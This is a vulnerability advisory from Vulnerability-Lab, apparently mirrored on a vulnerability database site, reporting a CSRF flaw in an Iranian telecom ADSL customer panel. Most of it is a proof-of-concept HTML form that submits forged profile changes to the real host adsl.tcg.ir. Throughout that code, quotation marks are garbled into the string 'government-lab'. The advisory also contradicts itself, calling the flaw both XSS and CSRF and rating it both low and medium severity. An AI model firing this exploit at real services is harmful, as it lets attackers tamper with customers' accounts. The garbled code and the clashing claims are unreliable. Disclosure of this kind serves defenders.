Lucene search
K
Database
Vendors
Products
Years
CVSS
Scanner
Agent Scanning
API Scanning
Manual Audit
Perimeter Scanner
Scanning
Projects
Email
Webhook
Plugins
Resources
Documents
Blog
Glossary
FAQ
Pricing
Contacts
About Us
Partners
Branding Guideline
vulnerlabMilad Hacking - ([email protected]) [http://fullsecurity.org] Thanks: iliya Norton - Milad Hacking - Mohamad Ghasemi- irhblackhat - Distr0watch - N3TC4T - Ac!D - Mr.G}{o$t - S4livan - MRS4JJ4D - SeCrEt_HaCkEr , Nazila Blackhat , Bl4ck_MohajeM, Xodiak , Ehsan Ice aka Ehsan Hosseini (EhsanSec.ir)VULNERABLE:1773
HistoryMar 01, 2016 - 12:00 a.m.

Telecom Charging Panel ADSL (IR) - CSRF Web Vulnerability

2016-03-0100:00:00
Milad Hacking - ([email protected]) [http://fullsecurity.org] Thanks: iliya Norton - Milad Hacking - Mohamad Ghasemi- irhblackhat - Distr0watch - N3TC4T - Ac!D - Mr.G}{o$t - S4livan - MRS4JJ4D - SeCrEt_HaCkEr , Nazila Blackhat , Bl4ck_MohajeM, Xodiak , Ehsan Ice aka Ehsan Hosseini (EhsanSec.ir)
www.vulnerability-lab.com
30
JSON
Document Title:
===============
Telecom Charging Panel ADSL (IR) - CSRF Web Vulnerability


References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1773


Release Date:
=============
2016-03-01


Vulnerability Laboratory ID (VL-ID):
====================================
1773


Common Vulnerability Scoring System:
====================================
3


Product & Service Introduction:
===============================
Iran Telecom is a provider that offers ISP, telecommunication and hosting services to the private community and public industry.

(Copy of the Vendor Homepage: http://www.tcg.ir/)


Abstract Advisory Information:
==============================
An independent vulnerability laboratory researcher discovered a client-side cross site request forgery vulnerability in the Iran Telecom Charging Panel ADSL.


Vulnerability Disclosure Timeline:
==================================
2016-03-02: Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Exploitation Technique:
=======================
Remote


Severity Level:
===============
Low


Technical Details & Description:
================================
A client-side cross site scripting web vulnerability has been discovered  in the official  Iran Telecom Charging Panel ADSL.
The vulnerability allows remote attacker to manipulate client-side web-application to browser requests to compromise session data.

The vulnerability is located in the form1 of the vulnerable `customer.php` file POST method request. Remote attackers with low privileged 
web-application user accounts are able to inject own malicious script code to compromise client-side panel to browser requests. The request 
method to inject is POST and the attack vector is located on the client-side of the online-service.

The security risk of the cross site vulnerability is estimated as medium with a cvss (common vulnerability scoring system) count of 3.0. 
Exploitation of the cross site request forgery vulnerability requires no privileged web-application user account and medium user interaction. 
Successful exploitation results in client-side account theft by hijacking, client-side phishing, client-side external redirects and non-persistent 
manipulation of affected or connected service modules.

Request Method(s):
				[+] POST
							
Vulnerable File(s):
				[+] customer.php

Vulnerable Parameter(s):
				[+] form1


Proof of Concept (PoC):
=======================
The cross site request forgery vulnerability can be exploited by remote attackers without privileged web-application user account and with medium user interaction.
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.

PoC: Exploit (CSRF)
<html>
<center>
<head>
<meta charset="UTF-8">
</head>
</center></html>
<body>

<form action="http://adsl.tcg.ir/customer.php?action=profile" method="post" id="form1" onsubmit="if ( $(government-lab#form1government-lab).jVal() ) $(government-lab#form1government-lab).submit();">
  <table border="0" cellspacing="0" cellpadding="0" class="login" id="login">
    <tr>
      <td class=government-labtd_headgovernment-lab> ويرايش پروفايل کاربر </td>
    </tr>
  </table>
  <table border="0" cellspacing="0" cellpadding="0" class="login" id="login">
    <tr>
      <td>&nbsp;</td>
      <td>&nbsp;</td>
    </tr>
<tr>
      <td class="lable22">نام و نام خانوادگي :</td>
      <td><input type="text" name="name" size="30" id="f1" value="hacker info" jVal="{valid:function (val) { if (val.length < 3) return false; else return true; }, message:government-labفیلد ضروری می باشد !government-lab, styleType:government-labcovergovernment-lab}"  /></td>
    </tr>
    <tr>
      <td class="lable22"> تلفن :</td>
      <td><input type="text" name="tel" size="30" id="f4" value="11111111" readonly /></td>
    </tr>
    <tr>
      <td class="lable22">تلفن همراه :</td>
      <td><input type="text" name="mobile" size="30" id="f5" value="11111111" jVal="{valid:function (val) { if (val.length != 11) return false; else return true; }, message:government-labشماره همراه نامعتبر !government-lab, styleType:government-labcovergovernment-lab}" jValKey="{valid:/[0-9]/, message:government-labتلفن همراه تنها باید شامل عدد باشد !government-lab, cFunc:government-lab$(government-lab#formContainergovernment-lab).jVal()government-lab}" /></td>
    </tr>
    <tr>
      <td class="lable22">پست الکترونیک :</td>
      <td><input type="text" name="email" size="30" id="f6" value="[email protected]"  jVal="{valid:/^[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+.[a-zA-Z]{2,4}$/, message:government-labپست الکترونیک نامعتبر !government-lab, styleType:government-labcovergovernment-lab}"
jValKey="{valid:/[a-zA-Z0-9._%+-@]/, cFunc:government-labalertgovernment-lab, cArgs:[government-labEmail Address: government-lab+$(this).val()]}" /></td>
    </tr>
    <tr id=government-labhagh_f_1government-lab>
      <td class="lable2">کد ملی :</td>
      <td><input type="text" name="meli" size="30" id="f6" value="11111111" jVal="{valid:function (val) { if (val.length != 10 ) return false; else return true; }, message:government-labکد ملی نامعتبر !government-lab, styleType:government-labcovergovernment-lab}" jValKey="{valid:/[0-9]/, message:government-labکد ملی تنها باید شامل عدد و 10 کاراکتر باشد !government-lab, cFunc:government-lab$(government-lab#formContainergovernment-lab).jVal()government-lab}" /></td>
    </tr>
    <tr id=government-labhagh_f_3government-lab>
      <td class="lable2">کد پستی :</td>
      <td><input type="text" name="codeposty" size="30" id="f8" value="11111111" jVal="{valid:function (val) { if (val.length != 10) return false; else return true; }, message:government-labکد پستی نامعتبر !government-lab, styleType:government-labcovergovernment-lab}" jValKey="{valid:/[0-9]/, message:government-labکد پستی تنها باید شامل عدد باشد !government-lab, cFunc:government-lab$(government-lab#formContainergovernment-lab).jVal()government-lab}" /></td>
    </tr>
    <tr id=government-labhagh_f_2government-lab>
      <td class="lable2">مدرک تحصيلي :</td>
      <td>
      <select name=government-labmadrakgovernment-lab jVal="{valid:function (val) { if (val == government-lab0government-lab ) return false; else return true; }, message:government-labمدرک تحصيلي خود را انتخاب نماييد !government-lab, styleType:government-labcovergovernment-lab}">
        <option value="0"> مدرک تحصيلي ... </option>
        <option value="سيکل"  > سيکل </option>
        <option value="ديپلم" selected> ديپلم </option>
        <option value="فوق ديپلم" > فوق ديپلم </option>
        <option value="ليسانس" > ليسانس </option>
        <option value="فوق ليسانس" > فوق ليسانس </option>
        <option value="دکترا" > دکترا </option>
      </select>
      </td>
    </tr>
        <tr id=government-labhagh_f_4government-lab>
      <td class="lable2">آدرس :</td>
      <td><textarea cols="40" rows="5" name="address" id="f9">iran</textarea></td>
    </tr>
    <tr>
        <td>&nbsp;</td>
        <td align="left" style="padding-left: 10px;"><input type="submit" name="profile" value="ويرايش" /> </td>
    </tr>
    <tr>
      <td>&nbsp;
</td>
      <td>&nbsp;</td>
    </tr>
    </table>
</form>

</body>
</html>


Video Download: (External) http://s6.picofile.com/file/8240374026/tcgir.rar.html


Security Risk:
==============
The security risk of the client-side cross site request forgery web vulnerability in the panel application is estimated as medium. (CVSS 3.0)


Credits & Authors:
==================
Milad Hacking - ([email protected]) [http://fullsecurity.org]
Thanks: iliya Norton - Milad Hacking - Mohamad Ghasemi- irhblackhat - Distr0watch - N3TC4T - Ac!D - Mr.G}{o$t -
S4livan - MRS4JJ4D - SeCrEt_HaCkEr , Nazila Blackhat , Bl4ck_MohajeM, Xodiak , Ehsan Ice aka Ehsan Hosseini (EhsanSec.ir)


Disclaimer & Information:
=========================
The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed or implied, 
including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable in any case of damage, 
including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab or its suppliers have been advised 
of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing 
limitation may not apply. We do not approve or encourage anybody to break any licenses, policies, deface websites, hack into databases or trade with stolen data.

Domains:    www.vulnerability-lab.com 		- www.vuln-lab.com 						- www.evolution-sec.com
Contact:    [email protected] 	- [email protected] 				- [email protected]
Section:    magazine.vulnerability-db.com 	- vulnerability-lab.com/contact.php 				- evolution-sec.com/contact
Social:	    twitter.com/#!/vuln_lab		- facebook.com/VulnerabilityLab 				- youtube.com/user/vulnerability0lab
Feeds:	    vulnerability-lab.com/rss/rss.php 	- vulnerability-lab.com/rss/rss_upcoming.php 			- vulnerability-lab.com/rss/rss_news.php
Programs:   vulnerability-lab.com/submit.php 	- vulnerability-lab.com/list-of-bug-bounty-programs.php 	- vulnerability-lab.com/register.php

Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. Permission to electronically 
redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by Vulnerability-Lab Research Team or 
its suppliers. All pictures, texts, advisories, source code, videos and other information on this website is trademark of vulnerability-lab team & the specific 
authors or managers. To record, list, modify, use or edit our material contact (admin@ or [email protected]) to get a ask permission.

				    Copyright © 2016 | Vulnerability Laboratory - [Evolution Security GmbH]™
JSON